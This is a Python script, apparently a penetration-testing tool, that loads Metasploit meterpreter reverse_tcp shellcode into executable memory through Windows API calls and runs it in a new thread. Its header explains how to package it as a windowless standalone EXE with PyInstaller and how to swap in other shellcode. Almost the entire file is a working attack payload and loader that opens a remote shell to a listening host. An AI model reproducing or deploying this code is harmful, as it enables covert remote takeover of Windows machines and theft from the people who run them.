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- #!/usr/bin/python
- ##############################################################
- # PyInstaller Win32 shellcode runner - by @mihi42
- #
- # Needed software:
- # * Python 2.7.2 from
- # <http://www.python.org/download/releases/>
- # * PyWin32 build 217 for Python 2.7 from
- # <http://sourceforge.net/projects/pywin32/files/pywin32/>
- # * PyInstaller 1.5.1 from <http://www.pyinstaller.org/>
- #
- # Usage:
- # * Install and configure the software above
- # * Replace the shellcode below if desired (use output type
- # for C and change the first and last line)
- # * Run PyInstaller to build an EXE file, using the switches
- # -w -a -F (and maybe more if you prefer)
- ##############################################################
- # windows/meterpreter/reverse_tcp - 290 bytes (stage 1)
- # http://www.metasploit.com
- # VERBOSE=false, LHOST=127.0.0.1, LPORT=4444,
- # ReverseConnectRetries=5, EXITFUNC=process,
- # AutoLoadStdapi=true, InitialAutoRunScript=, AutoRunScript=,
- # AutoSystemInfo=true, EnableUnicodeEncoding=true
- #
- shellcode = bytearray(
- "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
- "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
- "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
- "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
- "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
- "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
- "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
- "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
- "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
- "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
- "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
- "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
- "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a"
- "\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10"
- "\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e"
- "\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56"
- "\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10"
- "\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a"
- "\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6"
- "\x85\xf6\x75\xec\xc3"
- )
- ##############################################################
- import ctypes
- ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
- ctypes.c_int(len(shellcode)),
- ctypes.c_int(0x3000),
- ctypes.c_int(0x40))
- ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr),
- ctypes.c_int(len(shellcode)))
- buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
- ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
- buf,
- ctypes.c_int(len(shellcode)))
- ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.c_int(ptr),
- ctypes.c_int(0),
- ctypes.c_int(0),
- ctypes.pointer(ctypes.c_int(0)))
- ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
- ctypes.c_int(-1))
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